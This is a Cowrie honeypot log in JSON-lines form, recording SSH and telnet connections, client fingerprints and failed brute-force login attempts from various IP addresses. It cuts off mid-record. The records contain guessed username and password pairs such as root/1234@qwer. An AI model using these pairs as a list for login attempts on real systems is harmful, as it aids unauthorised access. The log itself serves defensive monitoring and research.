{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:51.856575Z","src_ip":"190.244.39.224","session":"5b9148e60c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:52.034247Z","src_ip":"190.244.39.224","session":"5b9148e60c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"TT506040tt","message":"login attempt [root/TT506040tt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:52.743416Z","src_ip":"190.244.39.224","session":"5b9148e60c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:53.923000Z","src_ip":"190.244.39.224","session":"5b9148e60c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":55242,"dst_ip":"10.17.0.5","dst_port":22,"session":"295388751698","protocol":"ssh","message":"New connection: 91.92.40.4:55242 (10.17.0.5:22) [session: 295388751698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:55.144859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:55.148275Z","src_ip":"91.92.40.4","session":"295388751698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:55.234620Z","src_ip":"91.92.40.4","session":"295388751698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"password","message":"login attempt [git/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:55.479284Z","src_ip":"91.92.40.4","session":"295388751698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37926,"dst_ip":"159.203.135.109","dst_port":23,"session":"64408ecc7ec9","protocol":"telnet","message":"New connection: 170.64.224.25:37926 (159.203.135.109:23) [session: 64408ecc7ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:56.276397Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:04:56.562436Z","src_ip":"91.92.40.4","session":"295388751698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40654,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c75f6d8e808","protocol":"ssh","message":"New connection: 8.210.75.243:40654 (10.17.0.5:22) [session: 8c75f6d8e808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:00.621777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:00.625924Z","src_ip":"8.210.75.243","session":"8c75f6d8e808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.69.150","src_port":59796,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8106bf93d1d","protocol":"ssh","message":"New connection: 138.124.69.150:59796 (10.17.0.5:22) [session: e8106bf93d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:11.325438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:11.329256Z","src_ip":"138.124.69.150","session":"e8106bf93d1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:11.455095Z","src_ip":"138.124.69.150","session":"e8106bf93d1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"admin","message":"login attempt [abc/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:11.995154Z","src_ip":"138.124.69.150","session":"e8106bf93d1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:13.130414Z","src_ip":"138.124.69.150","session":"e8106bf93d1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.34645938873291,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:20.622723Z","src_ip":"170.64.224.25","session":"64408ecc7ec9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":45618,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc2198ad6963","protocol":"ssh","message":"New connection: 147.45.211.215:45618 (10.17.0.5:22) [session: fc2198ad6963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:21.520861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:21.525538Z","src_ip":"147.45.211.215","session":"fc2198ad6963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:21.693742Z","src_ip":"147.45.211.215","session":"fc2198ad6963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07101962","message":"login attempt [root/07101962] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:22.195110Z","src_ip":"147.45.211.215","session":"fc2198ad6963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:23.365699Z","src_ip":"147.45.211.215","session":"fc2198ad6963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:27.065739Z","src_ip":"8.210.75.243","session":"8b911191b5e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.421159744262695,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:29.813597Z","src_ip":"170.64.224.25","session":"f7a85fe37eb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":33860,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0bd7e7fa1f9","protocol":"ssh","message":"New connection: 152.32.205.153:33860 (10.17.0.5:22) [session: c0bd7e7fa1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:33.877132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:33.891515Z","src_ip":"152.32.205.153","session":"c0bd7e7fa1f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:33.902141Z","src_ip":"152.32.205.153","session":"c0bd7e7fa1f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@qwer","message":"login attempt [root/1234@qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:33.983506Z","src_ip":"152.32.205.153","session":"c0bd7e7fa1f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36614,"dst_ip":"10.17.0.5","dst_port":22,"session":"c13235b8ec66","protocol":"ssh","message":"New connection: 8.210.75.243:36614 (10.17.0.5:22) [session: c13235b8ec66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:34.942562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:34.948110Z","src_ip":"8.210.75.243","session":"c13235b8ec66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:34.995954Z","src_ip":"152.32.205.153","session":"c0bd7e7fa1f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":45136,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a84234d928","protocol":"ssh","message":"New connection: 196.196.150.5:45136 (10.17.0.5:22) [session: 51a84234d928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:46.145753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:46.150569Z","src_ip":"196.196.150.5","session":"51a84234d928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:46.258015Z","src_ip":"196.196.150.5","session":"51a84234d928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40902,"dst_ip":"159.203.135.109","dst_port":23,"session":"4634746c6703","protocol":"telnet","message":"New connection: 170.64.224.25:40902 (159.203.135.109:23) [session: 4634746c6703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:46.369296Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@qwer","message":"login attempt [root/1234@qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:46.719175Z","src_ip":"196.196.150.5","session":"51a84234d928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:47.828002Z","src_ip":"196.196.150.5","session":"51a84234d928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":40646,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3732f62488e","protocol":"ssh","message":"New connection: 159.65.58.200:40646 (159.203.135.109:22) [session: d3732f62488e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:52.103183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:52.333585Z","src_ip":"159.65.58.200","session":"d3732f62488e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:52.336998Z","src_ip":"159.65.58.200","session":"d3732f62488e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sedov","password":"123456","message":"login attempt [sedov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:53.426463Z","src_ip":"159.65.58.200","session":"d3732f62488e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:54.710274Z","src_ip":"159.65.58.200","session":"d3732f62488e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48700,"dst_ip":"10.17.0.5","dst_port":22,"session":"472823687c6f","protocol":"ssh","message":"New connection: 8.210.75.243:48700 (10.17.0.5:22) [session: 472823687c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:58.723619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:05:59.723959Z","src_ip":"8.210.75.243","session":"472823687c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":34372,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e29a1313ba8","protocol":"ssh","message":"New connection: 45.143.200.246:34372 (10.17.0.5:22) [session: 8e29a1313ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:01.019155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:01.025101Z","src_ip":"45.143.200.246","session":"8e29a1313ba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cb